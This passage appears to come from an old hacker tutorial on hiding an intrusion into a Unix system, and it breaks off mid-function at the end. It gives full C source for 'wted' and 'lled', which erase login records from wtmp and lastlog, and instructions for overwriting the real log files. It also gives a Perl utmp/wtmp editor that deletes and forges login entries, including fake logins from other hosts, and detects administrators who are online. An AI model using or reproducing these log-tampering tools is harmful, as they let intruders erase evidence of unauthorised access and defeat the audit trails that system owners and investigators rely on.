            -h      This help
            -f      Use FILE instead of default
            -a      Show all entries found
            -u      Show all entries for USER
            -b      Show NULL entries
            -e      Erase USER completely
            -c      Erase all connections containing HOST
            -z      Show ZAP'd entries
            -x      Attempt to remove ZAP'd entries completely

So if i ftp to username tsmith I would type wted -x -e tsmith

The program will now prompt you one login at a time for the user tsmith asking
if you want to delete it.  After you delete your login, make sure to
chmod 644 the wtmp.tmp file and then copy it over the top of the wtmp file in
the log directory.  Like this:

1. chmod 644 wtmp.tmp
2. cp wtmp.tmp /var/adm/wtmp

Here is your wted program:

MAKE SURE TO HAVE THE RIGHT PATH TO THE char file below
So make sure you have the right path to the wtmp file.

wted.c
---------------------- cut here
#include <stdio.h>
#include <utmp.h>
#include <time.h>
#include <fcntl.h>

char *file="/var/adm/wtmp";

main(argc,argv)
int argc;
char *argv[];
{
int i;
if (argc==1) usage();
for(i=1;i<argc;i++)
	{
	if(argv[i][0] == '-')
		{
		switch(argv[i][1])
			{
			case 'b': printents(""); break;
			case 'z': printents("Z4p"); break;
			case 'e': erase(argv[i+1],0); break;
			case 'c': erase(0,argv[i+1]); break;
			case 'f': file=argv[i+1]; break;
			case 'u': printents(argv[i+1]); break;
			case 'a': printents("*"); break;
			case 'x': remnull(argv[i+1]); break;
			default:usage();
			}
		}
	}
}

printents(name)
char *name;
{
struct utmp utmp,*ptr;
int fp=-1;
ptr=&utmp;
if (fp=open(file,O_RDONLY))
	{
	while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp))
		{
		if ( !(strcmp(name,ptr->ut_name)) || (name=="*") ||
		(!(strcmp("Z4p",name)) && (ptr->ut_time==0)))
			printinfo(ptr);
		}
	close(fp);
	}
}

printinfo(ptr)
struct utmp *ptr;
{
char tmpstr[256];
printf("%s\t",ptr->ut_name);
printf("%s\t",ptr->ut_line);
strcpy(tmpstr,ctime(&(ptr->ut_time)));
tmpstr[strlen(tmpstr)-1]='\0';
printf("%s\t",tmpstr);
printf("%s\n",ptr->ut_host);
}

erase(name,host)
char *name,*host;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct utmp utmp;
unsigned char c;
if (fp=open(file,O_RDONLY)) {
        fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
        while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
		if (host)
			if (strstr(utmp.ut_host,host)) tot++;
			else {cnt++;write(fd,&utmp,sizeof(struct utmp));}
		if (name) {
                if (strcmp(utmp.ut_name,name)) {cnt++;
			write(fd,&utmp,sizeof(struct utmp));}
		else { 
			if (n>0) {
				n--;cnt++;
				write(fd,&utmp,sizeof(struct utmp));}
			else
			{
			printinfo(&utmp);
			printf("Erase entry (y/n/f(astforward))? ");
			c='a';
			while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
			if (c=='f') {
				cnt++;
				write(fd,&utmp,sizeof(struct utmp));
				printf("Fast forward how many entries? ");
				scanf("%d",&n);}
			if (c=='n') {
				cnt++;
				write(fd,&utmp,sizeof(struct utmp));
				}
			if (c=='y') tot++;
			} 
		      }	}					
        }
        close(fp);
        close(fd);
        }
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
}

remnull(name)
char *name;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct utmp utmp;
if (fp=open(file,O_RDONLY)) {
        fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
        while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
		if (utmp.ut_time) {
			cnt++;
			write(fd,&utmp,sizeof(struct utmp));
		}
		else
			tot++;
	}
        close(fp);
        close(fd);
        }
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
}

usage()
{
printf("Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
printf("\t-h\tThis help\n");
printf("\t-f\tUse FILE instead of default\n");
printf("\t-a\tShow all entries found\n");
printf("\t-u\tShow all entries for USER\n");
printf("\t-b\tShow NULL entries\n"); 
printf("\t-e\tErase USER completely\n");
printf("\t-c\tErase all connections containing HOST\n");
printf("\t-z\tShow ZAP'd entries\n");
printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
}
---------------------- cut here

You might also have to clean stuff out of the file /vat/adm/lastlog

For this use the lled.c.  Compile the program and name it lled.

Here is a menu from the program when you type ./lled

[4:04am][/home/paris/compile]lled
Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
-h      This help
-f      Use FILE instead of default
-a      Show all entries found
-u      Show all entries for USER
-b      Show NULL entries
-e      Erase USER completely
-c      Erase all connections containing HOST
-z      Show ZAP'd entries
-x      Attempt to remove ZAP'd entries completely

It would be good to try to view first using -u, but many times it will not
show your username in the lastlog, but it will still have your host, so I
have found that if you know what to look for you can just type something like:
If my host name that I was coming from was machine.edit.com, I could type

lled -e username -c machine.edit

If you need to view the lastlog your host entry should be at the end of the
file, just type: lled -a

chmod the file lastlog.tmp 644 and copy the file over the top of the lastlog
file in the log directory just like you did above for the wted.

BE SURE TO SET THE PATH FOR YOUR lastlog below!

Ok here is your lled.c
-------------------------- cut here
#include <stdio.h>
#include <time.h>
#include <lastlog.h>
#include <fcntl.h>

char *file="/var/adm/lastlog";

main(argc,argv)
int argc;
char *argv[];
{
int i;
if (argc==1) usage();
for(i=1;i<argc;i++)
	{
	if(argv[i][0] == '-')
		{
		switch(argv[i][1])
			{
			case 'b': printents(""); break;
			case 'z': printents("Z4p"); break;
			case 'e': erase(argv[i+1]); break;
                        case 'c': erase(0,argv[i+1]); break;
			case 'f': file=argv[i+1]; break;
			case 'u': printents(argv[i+1]); break;
			case 'a': printents("*"); break;
			case 'x': remnull(argv[i+1]); break;
			default:usage();
			}
		}
	}
}

printents(name)
char *name;
{
struct lastlog utmp,*ptr;
int fp=-1;
ptr=&utmp;
if (fp=open(file,O_RDONLY))
	{
	while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog))
		{
		if ( !(strcmp(name,ptr->ll_line)) || (name=="*") ||
		(!(strcmp("Z4p",name)) && (ptr->ll_time==0)))
			printinfo(ptr);
		}
	close(fp);
	}
}

printinfo(ptr)
struct lastlog *ptr;
{
char tmpstr[256];
printf("%s\t",ptr->ll_line);
strcpy(tmpstr,ctime(&(ptr->ll_time)));
tmpstr[strlen(tmpstr)-1]='\0';
printf("%s\t",tmpstr);
printf("%s\n",ptr->ll_host);
}

erase(name,host)
char *name,*host;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct lastlog utmp;
unsigned char c;
if (fp=open(file,O_RDONLY)) {
        fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
        while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
                if (host)
                        if (strstr(utmp.ll_host,host)) tot++;
                        else {cnt++;write(fd,&utmp,sizeof(struct lastlog));}
                if (name) {
		if (strcmp(utmp.ll_line,name)) {cnt++;
			write(fd,&utmp,sizeof(struct lastlog));}
		else { 
			if (n>0) {
				n--;cnt++;
				write(fd,&utmp,sizeof(struct lastlog));}
			else
			{
			printinfo(&utmp);
			printf("Erase entry (y/n/f(astforward))? ");
			c='a';
			while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
			if (c=='f') {
				cnt++;
				write(fd,&utmp,sizeof(struct lastlog));
				printf("Fast forward how many entries? ");
				scanf("%d",&n);}
			if (c=='n') {
				cnt++;
				write(fd,&utmp,sizeof(struct lastlog));
				}
			if (c=='y') tot++;
			} 
		      }	}					
        }
        close(fp);
        close(fd);
        }
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
}

remnull(name)
char *name;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct lastlog utmp;
if (fp=open(file,O_RDONLY)) {
        fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
        while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
		if (utmp.ll_time) {
			cnt++;
			write(fd,&utmp,sizeof(struct lastlog));
		}
		else
			tot++;
	}
        close(fp);
        close(fd);
        }
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
}

usage()
{
printf("Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
printf("\t-h\tThis help\n");
printf("\t-f\tUse FILE instead of default\n");
printf("\t-a\tShow all entries found\n");
printf("\t-u\tShow all entries for USER\n");
printf("\t-b\tShow NULL entries\n"); 
printf("\t-e\tErase USER completely\n");
printf("\t-c\tErase all connections containing HOST\n");
printf("\t-z\tShow ZAP'd entries\n");
printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
}
---------------------------------------------------------------- cut here

A good perl script for editing utmp, wtmp, and checking processes.
It will also let you insert lines in wtmp.  So if you need to play you
can add clinton.whitehouse.gov logging into port ttyp3 and show he stayed
on the system for a few hours!

Running 'check' will let you know if someone is on the system and not showing
up in the utmp log.  Admins like to hide the fact that they are online
sometimes.  This will allow you to see their connection.  You must be root to
run the script, and they need perl 5.003+ on thier system.  After starting
the script just type help.

Here are some of the basic commands:

starts by loading wtmp

delete user username
delete host hostanme
write

read wtmp
delete user username
delete host hostname
write

do help for the rest ... the best wtmp,wtmp editor around!

Say thankyou i-e ;)

-----------------------start of utmpman.pl
#!/usr/bin/perl -w
#
# Variable defines.
my($utmp_location) = "/var/run/utmp";
my($wtmp_location) = "/var/log/wtmp";
my($shells_location) = "/etc/shells";
my($ttybase) = "tty";
my($ttyrange) = "pqrs";                 # TTYrange standard on most linux systems.
my($ttyports) = "012345657689abcfef";   # TTYports standard on most linux systems.

# Global initializations.
my($active_file) = "";
my(%entries) = {};
my(@cmdline) = ();
my(@shells) = ();

# Display banner.
print "\nutmp Manager v0.8\n\n";

# Access check.
die("utmpman :: You must be root to run this application!\n") unless ($> == 0);

# Read in valid shells.
if (defined($shells_location)) {
  open(SHELLFILE, "<$shells_location");
  @shells = <SHELLFILE>;
  close(SHELLFILE);
}
# Process "basename" of each shell.
@shells = map( { /([^\/\n]+)\n*$/; $1; } @shells);
                                 
print push(@shells) . " valid shells in $shells_location: @shells\n" if (defined(@shells));
readfile("$utmp_location");
print("\nutmpman: $active_file> ");
while (<STDIN>) {
  process_cmd(split);
  print("\nutmpman: $active_file> ");
}

sub process_cmd {
  return if (!defined(@_));
  my(@line) = map { lc($_) } @_;
  
  $_ = shift(@line);
  SWITCH: {
        /^check$/     && do {
                           check_func(@line);
                           last SWITCH;
                         };

        /^delete$/    && do {
                           del_func(@line);
                           last SWITCH;
                         };  
                         
        /^help$/      && do {
                           help_func();
                           last SWITCH;          
                         };
                                      
        /^insert$/    && do {
                           ins_func(@line);
                           last SWITCH;
                         }; 
                                      
        /^list$/      && do {
                           list_func(@line);
                           last SWITCH;
                         };

        /^read$/      && do {
                           read_func(@line);
                           last SWITCH;
                         };
                                                                                              
        /^write$/     && do {
                           write_func(@line);
                           last SWITCH;
                         };              
                                                    
        /^quit|exit$/ && exit(0);
        
        # DEFAULT. 
        print ("Invalid command.\n");       
  }
}


# HELP

sub help_func {
  print << "EOM";

utmpManager Help
----------------

Note: - <n> is an argument.
      - [id=] is a token which expects a value as part of command
        (ie, insert id=p5 user=root 11/23/96). See the insert command.
      - A line is the full name to the tty port, ie ttyp0.
      - An id is the *unique* representation of the port
        (without the tty, etc), ie "p0" (for ttyp0).

  check
    - Perform user consistancy check. Use this to make sure that the data in
      utmp agrees with who is actually on the machine. This is useful in
      determining if a user is online with hidden ports, running nohup'd
      processes, or running iScreen.

  delete <x>-<y>
    - Delete entries #x to #y.

  delete host <host>
    - Delete *all* entries which match the substring <host>.

  delete line|id <line|id>
    - Delete entry containing <line> or <id>.

  insert {id=|line=} [type=] [user=] [host=] [ConnTime] {LogoffTime}
    - Insert an entry into utmp/wtmp files specifying any combination
      of id/line, type, username, host, connection time, and logoff time.
      (LogoffTime only valid for WTMP files.)

  list host <host>
    - List all entries matching the substring <host>.

  list line|id <line|id>
    - List all entries matching <line> or <id>.

  read utmp|wtmp|<filename>
    - Read entries from either default wtmp, default utmp, or an arbitrary
      filename. Note: arbitrary filenames MUST start with either "utmp" or
      "wtmp" to be used with this editor. Rename files *outside* of this
      editor if necessary. If read is executed without any arguments, it
      rereads the last given filename, which is displayed on the prompt.

  write {filename}
    - Write entries to file {filename}. If write is executed without any
      arguments, then entries will be written to the last given filename,
      which is displayed on the prompt.

EOM
}

# DELETE

sub del_func {
  my(@params) = @_;

  if (!push(@_)) {
    print("delete :: Not enough parameters. See \"help\" for syntax.\n");
    return undef;
  } elsif ($params[0] =~ /host|user|id|line/) {
    del_by_data(@_);
  } elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) {
    del_by_range($params[0]);
  } elsif ($params[0] =~ m/^(\d+)$/) {
    del_by_range("$1-$1");
  }
  
  # Renumber list after delete operation.
  resync();
}


sub del_by_range {
  my($range)=shift;
  $range =~ m/(\d+)*-(\d+)*/;
  my($lo, $hi, $count)=($1, $2, 0);
  
  $lo = 0 if (!defined($lo));
  $hi = scalar(keys(%entries)) if (!defined($hi));
  
  foreach (sort( { $a <=> $b } keys(%entries))) {
    if (($_ >= $lo) && ($_ <= $hi)) {
      delete($entries{$_});
      $count++;
    }
  }
  print "$count entries deleted.\n";
}               


sub del_by_data {
  my($op, $data) = @_;
  my($count) = 0;

  if ((length($data) < 5) && ($op eq "host")) {
    print "Must specify at least 5 characters for delete hostmask.\n";
    return undef;
  } elsif (((length($data) > 4) && ($op eq "id"))||
           ((length($data) > 11) && ($op eq "line"))) {
    print "Invalid $op specified.\n";
    return undef;
  }
  # Note: If we are deleting by user, then user must match, *exactly*!
  $data = "^" . pack("a8", $data) . "\$" if ($op eq "user");
  foreach (sort( { $a <=> $b } keys(%entries))) {
    if (%{$entries{$_}}->{$op} =~ m/$data/i) {
      delete($entries{$_});
      ++$count;
    }
  }
  if (!$count) {
    print "No $op entries matching $data.\n";
  } else {
    print "$count entries deleted.\n";
  }
}


# INSERT

# Date1 Time1 = DateTime1 => mm/dd/[cc]yy[:hh:mm[:ss]]
# Date2 Time2 = DateTime2 => (see above)
# user=<username>
# host=<hostname>
# id=<id> | line=<line>
#
# utmp:
# insert {id=|line=} [type=] [user=] [host=] [DateTime]
# wtmp:
# insert {id=|line=} [user=] [host=] [DateTime1] {DateTime2}

sub ins_func {
  my(%cmdopt)={};
  my($datetime1, $datetime2, $gmdate, $gmdate2);

  # Get random pid out of the way.
  $cmdopt{"pid"} = int(rand(32656)+100);
  $cmdopt{"addr"} = pack("a4", "");

  # Get command options.
  foreach (@_) {
    if (/=/) {
      local($key, $value)=split(/=/);
      $cmdopt{$key} = $value;
    } else {
      if (!defined($datetime1)) {
        $datetime1 = $_;
        next;
      }
      if (!defined($datetime2)) {
        $datetime2 = $_ ;
        next;
      }
      print "insert :: Invalid options specified. Please see \"help\" for syntax.\n";
      return undef;
    }
  }

  # Check for an illegal pair or illegal option.
  foreach (keys(%cmdopt)) {
    if (!(/^host|id|line|type|user|addr$/)) {
      print "insert :: Invalid options specified. Please see \"help\" for syntax.\n";
      return undef;
    }
    if (($_ eq "last") && ($active_file !~  m!/*utmp[^/]*$!i)) {
      print "insert :: LAST option only valid for utmp files.\n";
      return undef;
    }     
  }

  # Get date in seconds since 1970.
  $gmdate = SecsSince1970($datetime1);

  # Get ending date in seconds since 1970.
  $gmdate2 = SecsSince1970($datetime2) if (defined($datetime2));

  if (!defined($gmdate) || (!defined($gmdate2) && defined($datetime2))) {
    print "insert :: Invalid date specified.\n";
    return undef;
  }

  if (defined($gmdate2)) {
    if ($gmdate2 < $gmdate) {
      print "insert :: First date/time must be *later* than second date/time.\n";
      return undef;
    }
  }

  if (defined($cmdopt{"id"}) && defined($cmdopt{"line"})) {
    print "insert :: Insert by LINE or ID only. Please do not specify both.\n";
    return undef;
  }

  my($op);

  if (!defined($cmdopt{"id"})) {
    $cmdopt{"id"} = $cmdopt{"line"};
    $op = "line";
    if (!($cmdopt{"id"} =~ s/^$ttybase//)) { 
      print "insert :: Invalid line specified.\n"; 
      return undef; 
    }
  } else {
    $cmdopt{"line"} = $ttybase . $cmdopt{"id"};
    $op = "id";
  } 

  if (!(defined($cmdopt{"line"}) || defined($cmdopt{"id"}))) {
    print "insert :: Neither LINE nor ID value found. See \"help\" for syntax.\n";
    return undef;
  }
    
  my($searchdata) = ($active_file =~ m!/*utmp[^/]*$!i) ?  
    (pack(($op eq "line") ? "a12" : "a4", $cmdopt{$op})):$cmdopt{$op};
  my($epos1, $npos1, $epos2, $npos2) = ();
  my($oldpos, $count)=("", 0);

  foreach (sort( { $a <=> $b } keys(%entries))) {
    if ($active_file =~ m!/*utmp[^/]*$!i) {
      # Handle utmp insertion by line insertion.
      if (%{$entries{$_}}->{$op} eq $searchdata) {
        printf ("insert :: $op $searchdata already exists at position $_\n");
        # This needs to check every option in %cmdopt for defined or null.
        $count = 0;
        foreach (qw(user host time)) {
          if (defined($cmdopt{$_})) {
            $count++ if ($cmdopt{$_} ne "");
          }
        }
        if (!$count) {
          printf ("insert :: No other data specified. Entry unchanged.\n");
          return undef;
        }
        last;
      }
    } else {
      # Handle wtmp insertion by time position. (Messy)
      $epos1 = $oldpos if (defined($npos1) && !defined($epos1));
      $npos1 = $_ if (%{$entries{$_}}->{"time"} > $gmdate);
      last if (!defined($gmdate2) && defined($epos1));
      $epos2 = $oldpos if (defined($npos2)); 
      $npos2 = $_ if (%{$entries{$_}}->{"time"} > $gmtime2);
      last if (defined($epos2));
    }
    $oldpos = $_;
  }

  # Set any unspecified defaults.
  $cmdopt{"user"} = pack("a8", "")  if !defined($cmdopt{"user"});
  $cmdopt{"host"} = pack("a16", "") if !defined($cmdopt{"host"});
  $cmdopt{"type"} = 7               if !defined($cmdopt{"type"});

  # Determine end of list insertion positions. (IE, dates entered are after
  # dates in wtmp file or line/id not found in utmp file.
  $epos1 = (scalar(keys(%entries)) + 1) if (!defined($npos1));
  if (defined($datetime2)) {
    $epos2 = (scalar(keys(%entries)) + 1) if (!defined($npos2));
    ++$epos2 if (defined($gmtime2) && !defined($npos1));
  }

  # Parse insert data and insert entry.
  $epos1 = sprintf("%7.3f", ($npos1 - $epos1)/2) if (defined($npos1));
  $epos2 = sprintf("%7.3f", ($npos2 - $epos2)/2)
    if (defined($npos2) && defined($gmdate2));

  # Insert first entry.
  $cmdopt{"time"} = $gmdate;  
  @{$entries{$epos1}}{qw(type pid line id time user host addr)} = 
           @{%cmdopt}{qw(type pid line id time user host addr)};

  if (defined($epos2)) {
    $cmdopt{"user"} = pack("a8", "");
    $cmdopt{"host"} = pack("a16","");
    $cmdopt{"id"}   = pack("a4", "");
    $cmdopt{"time"} = $gmdate2;
 
    @{$entries{$epos2}}{qw(type pid line id time user host addr)} =
             @{%cmdopt}{qw(type pid line id time user host addr)};
  }

  resync();
}


# LIST

sub list_func {
  my(@params) = @_;

  if (!push(@_) || ($params[0] eq "all")) {
    list_by_range("-");
    return 0;
  } elsif ($params[0] =~ /^host|user|id|line$/) {
    list_by_data(@_);
    return 0;
  } elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) {
    list_by_range($params[0]);
    return 0;
  } elsif ($params[0] =~ m/^(\d+)$/) {
    list_by_range("$1-$1");
    return 0;
  }
                          
  print ("list :: Error in parameters. See \"help\" for syntax.\n");
  return undef;
}    


sub list_by_data {
  my($op, $data) = @_;
  my($count) = 0;

  foreach (sort( {$a <=> $b} keys(%entries))) {
    if (%{$entries{$_}}->{$op} =~ m/$data/i) {
      list_entry($_);
      ++$count;
    }
  }
  print "No $op entries matching $data.\n" if (!$count);
}


sub list_by_range {
  my($range)=shift;
  $range =~ m/(\d+)*-(\d+)*/;
  my($lo, $hi)=($1, $2);
  
  $lo = 0 if (!defined($lo));
  $hi = scalar(keys(%entries)) if (!defined($hi));
  
  foreach (sort( { $a <=> $b } keys(%entries))) {
    if (($_ >= $lo) && ($_ <= $hi)) {
      list_entry($_);
    }
  }
}               


sub list_entry {
  printf("#%3d - " . gmtime(%{$entries{$_}}->{"time"}), $_);
  printf("  %s/%s", @{$entries{$_}}{qw(id line)});
  printf(": %s ", %{$entries{$_}}->{"user"})
    if (%{$entries{$_}}->{"user"} ne pack("a8", ""));
  printf("from %s", %{$entries{$_}}->{"host"}) 
    if (%{$entries{$_}}->{"host"} ne pack("a16", ""));
  if (%{$entries{$_}}->{"addr"} ne "\0\0\0\0") {
    printf(" (%s)", longtodot4(%{$entries{$_}}->{"addr"}));
  }
  print ("\n");
  printf("%7sPID = %u\n", "", %{$entries{$_}}->{"pid"}) 
    if (%{$entries{$_}}->{"pid"} && (%{$entries{$_}}->{"user"} ne pack("a8","")));
}

# <Silmaril> printf "#$_ - %s %s/%s: %s from %s\n", @{$v}->{qw(time id line user host)};
# <Silmaril> now *that's* cool :-)
# <Silmaril> should be like this: @{$v}{qw(time id line user host)}
# <Silmaril> I had an extra -> in my first version.
#
# Or course, it's changed since then, but - "Thanks, Sil!" :)
#


# READ


sub read_func {
  my($arg)=shift;
  
  $arg = $utmp_location if ($arg eq "utmp");
  $arg = $wtmp_location if ($arg eq "wtmp");
  $arg = $active_file if (!defined($arg));
  
  if ($arg !~ m!/*[uw]tmp[^/]*$!) {
    print("read :: Filenames *must* start with either 'wtmp' or 'utmp' to be edited.\n");
    return undef;
  }
  
  readfile($arg);
}
   

# WRITE

sub write_func {
  my($file)=shift;
  my($count)=0;
  
  $file = $active_file if (!defined($file));
  if ($file !~ m!/*[uw]tmp[^/]*$!) {
    print ("write :: File must start with 'utmp' or 'wtmp'.\nRename file outside this program.\n");
    return undef;
  }
  if (!open(OUTFILE, ">$file")) {
    print ("write :: Can't open $file for output.\n");
    return undef;
  }
  binmode(OUTFILE);
  
  foreach (sort( { $a <=> $b } keys(%entries))) {
    printf OUTFILE ("%s", pack("i L a12 a4 L a8 a16 a4", 
      @{$entries{$_}}{qw(type pid line id time user host addr)}));
    $count++;
  }
  print ("$active_file: " . scalar(keys(%entries)) . " entries written.\n");
  close(OUTFILE);
}               


# CHECK

sub check_func {
  if (push(@_)) {
    print "check :: Invalid options specified. Please see \"help\"\n";
    return undef;
  }
  if ($active_file !~ m!/*utmp[^/]*$!) {
    print "check :: Command can only be run on utmp files.\n";
    return undef;
  }
  
  # Build struct of ports containing port name, device num and owner.
  # Note: Test run in grepstr may *not* be portable for all Unix
  #       types. Be forewarned! This was designed for Linux.
  # Hint: For all intents and purposes, s/^$ttybase([$ttyrange][$ttyports])$/
  #       should return the same as what you expect in "struct utmp->ut_id".
  my($grepstr) = "^($ttybase\[$ttyrange\]\[$ttyports\])\$";
  my(%ports) = {};
  my($user, $rdev) = ();

  opendir(DEVDIR, "/dev");
  my(@devfiles) = readdir(DEVDIR);
  @devfiles = grep(/$grepstr/, @devfiles);  
  close(DEVDIR);
  foreach (@devfiles) {
    /^$ttybase([$ttyrange][$ttyports])$/;
    if (!defined($1)) {
      print "check :: Warning! Could not extract port ID from $_.\n";
    } else {
      ($user, $rdev) = (stat("/dev/$_"))[4, 6];
      $user = getpwuid($user);
      $ports{$1} = newport($_, $rdev, $user);
    } 
  }
  
  # Check ownership of /dev ports.
  my(@logdev)=();
  foreach (sort(keys(%ports))) {
    push(@logdev, $_) if (%{$ports{$_}}->{"owner"} ne "root");
  }
  @logdev = sort(@logdev);
      
  # Check utmp (against ports detected as logged in);
  my(@logutmp)=();
  foreach (sort( { $a <=> $b } keys(%entries))) {
    if (defined(%{$entries{$_}}->{"user"}) && defined(%{$entries{$_}}->{"host"}) &&
        defined(%{$entries{$_}}->{"id"})   && defined(%{$entries{$_}}->{"pid"})) {
      push(@logutmp, %{$entries{$_}}->{"id"})  
        if ((%{$entries{$_}}->{"id"} =~ /[$ttyrange][$ttyports]/) &&
            ((%{$entries{$_}}->{"user"} ne pack("a8", "")) ||
            ((%{$entries{$_}}->{"host"} ne pack("a16", "")) &&
             (%{$entries{$_}}->{"id"} ne pack("a4", "")) &&
             (%{$entries{$_}}->{"line"} ne pack("a12", "")) &&
             (%{$entries{$_}}->{"pid"} > 0))));
    }
  }
  @logutmp = sort(@logutmp);

  # Check PIDs (find processes with active port ids)
  opendir(PIDDIR, "/proc");
  my(%processes) = {};
  my(@portprocesses) = ();
  foreach (grep(/\d+/, readdir(PIDDIR))) {
    local($procdata, $cmdline);
    open(PROCFILE, "</proc/$_/stat");
    $procdata = <PROCFILE>;
    close(PROCFILE);
    if (-e "/proc/$_/stat") {
      local($cmdline, $devnum, $portid);
      ($cmd, $devnum) = (split(/ /, $procdata))[1, 6];
      # Remove surrouding () from command name.
      $cmd =~ s/[\(\)]//g;
      $portid = dev2id(\%ports, $devnum);
      if (defined($portid)) {
        push(@portprocesses, $portid)
          if (!defined(listpos(\@portprocesses, $portid))&&($$ != $_));
        $processes{$_} = newproc($cmd, $portid) if (defined($portid) && ($$ != $_));
      }
    }
  }
  close(PIDDIR);

  # A port is *not* logged in if there is no dev entry for port, no utmp entry
  # and no active processes.
  my(@validshellports) = ();
  foreach (sort( { $a <=> $b} keys(%processes))) {
    push(@validshellports, %{$processes{$_}}->{"port"}) 
      if (defined(listpos(\@shells, %{$processes{$_}}->{"cmd"}))&&
          !defined(listpos(\@validshellports, %{$processes{$_}}->{"port"})));
  }
  # Remove ports with valid shells from list of ports with active processes.
  my(@noshellports) = 
    sort(grep(!defined(listpos(\@validshellports, $_)), @portprocesses));
  @validshellports = sort(@validshellports);
  print "Ports with active /dev files: @logdev\n"
    if (defined(@logdev));
  print "Ports with utmp entries: @logutmp\n"
    if (defined(@logutmp));
  print "Ports with valid shells: @validshellports\n" 
    if (defined(@validshellports));
  print "Ports with active processes and *no* shells: @noshellports\n" 
    if (defined(@noshellports));
}  
  
    
# GENERAL

sub readfile {
  local($file);
  $file = shift;
  my($index)=1;
  my($buffer)="";

  # Insure we have a clean hash table before we start reading in the file.
  foreach (keys(%entries)) {
    undef(%{$entries{$_}});
    delete(${entries{$_}});
  }
    
  open(UTMPFILE, "<$file") || die("utmp-parse: Can't open $file - $!\n");
  binmode(UTMPFILE);
  # 1/17/96, struct utmp is 56 bytes (54 according to addition! :P).  
  while (read(UTMPFILE, $buffer, 56)) {
    $entries{$index++} = newutmp($buffer);
  }
  $active_file = $file;
  print ("$active_file: " . scalar(keys(%entries)) . " entries loaded.\n");
  close(UTMPFILE);
}


sub newutmp {
  my($newbuff) = shift;
  my($longaddr) = 0;
  
  $newnode = bless { 
    "type" => undef, "pid" => undef,  "line" => undef, "id"   => undef,
    "time" => undef, "user" => undef, "host" => undef, "addr" => undef
  }, 'UTMPNODE';
  
  @{$newnode}{qw(type pid line id time user host addr)}=
    unpack("i L a12 a4 L a8 a16 a4", $newbuff);
                             
  return $newnode;
}  


sub newport {
 
  $newnode = bless {
    "port" => undef, "rdev" => undef, "owner" => undef, "cmd" => undef,
  }, 'PORTNODE';
  
  @{$newnode}{qw(port rdev owner)} = @_;
  
  return $newnode;
}


sub newproc {
 
  $newnode = bless {
    "cmd" => undef, "port" => undef, 
  }, 'PROCNODE';
  
  @{$newnode}{qw(cmd port)} = @_;
  
  return $newnode;
}


# Renumber hashes to default order.
sub resync {
  my(%newhash) = ();
  my($count)=0;

  # Write ordered list in to temporary hash, deleting as we go.
  foreach (sort( {$a <=> $b} keys(%entries))) {
    $newhash{++$count} = $entries{$_};
    delete($entries{$_});
  }

  # Copy elements back in to original hash table.
  foreach (sort( {$a <=> $b} keys(%newhash))) {
    $entries{$_} = $newhash{$_};
  }
}


sub longtodot4 {
  my($addr)=shift;

  return join(".", map( ord($_), split(//, $addr)));
}

sub dev2id {
  my($portlist, $rdev) = @_;

  foreach (sort(keys(%{$portlist}))) {
    return $_ if (%{$portlist}->{$_}->{"rdev"}==$rdev);
  }                               
  return undef;
}


sub listpos {
  my($arrayref, $search) = @_;
  my($count) = 0;

$^W = 0;
  foreach (@{$arrayref}) {
    return $count if ($search eq ${$arrayref}[$count]);
    $count++;
  }
$^W = 1;

  return undef;
}


### DATE ROUTINES

# The following code taken & modified from the Date::Manip package.
# Here is his copyright:
#
## Copyright (c) 1995,1996 Sullivan Beck. All rights reserved.
## This program is free software; you can redistribute it and/or modify it
## under the same terms as Perl itself.


sub SecsSince1970 {
# Parse as mm/dd/[cc]yy[:hh:mm[:ss]]
  my($datetime) = shift;
  my($m,$d,$y,$h,$mn,$s) = ();

  # If date is not defined, then return local current date and time.
  return time() if (!defined($datetime));

  $datetime =~ 
    s!^(\d{1,2})/(\d{1,2})/(\d{4}|\d{2})(?:\:(\d{2}):(\d{2})(?:\:(\d{2}))?)?!!;
  ($m, $d, $y, $h, $mn, $s) = ($1, $2, $3, $4, $5, $6);
  $m--;

  # Finalize time components and check them.
  $y = (($y < 70) ? "20":"19" . $y) if (length($y)==2); 

  # This checks for any *non-matched* portion of $datetime. If there is such
  # an animal, then there is illegal data specified. Also screens for undefined
  # components which HAVE to be in ANY valid date/time (ie, month, day, year).
  return undef if (!defined($m) || !defined($d) || !defined($y) || length($datetime));

  # Set time components with unspecified values.
  $s = 0 if (!defined($s));
  $mn = 0 if (!defined($mn));
  $h = 0 if (!defined($h));

  # Check for ranges.
  return undef if (($m > 11)    || ($h > 23)    || ($mn > 59)   || ($s > 59));
                     
  # Begin conversion to seconds since 1/1/70.
  my($sec_now,$sec_70)=();
  $sec_now=DaysSince999($m,$d,$y);
  return undef if (!defined($sec_now));

  $sec_now--;
  $sec_now = $sec_now*24*3600 + $h*3600 + $mn*60 + $s;
  $sec_70 =30610224000;
  return ($sec_now-$sec_70);
}


sub DaysSince999 {
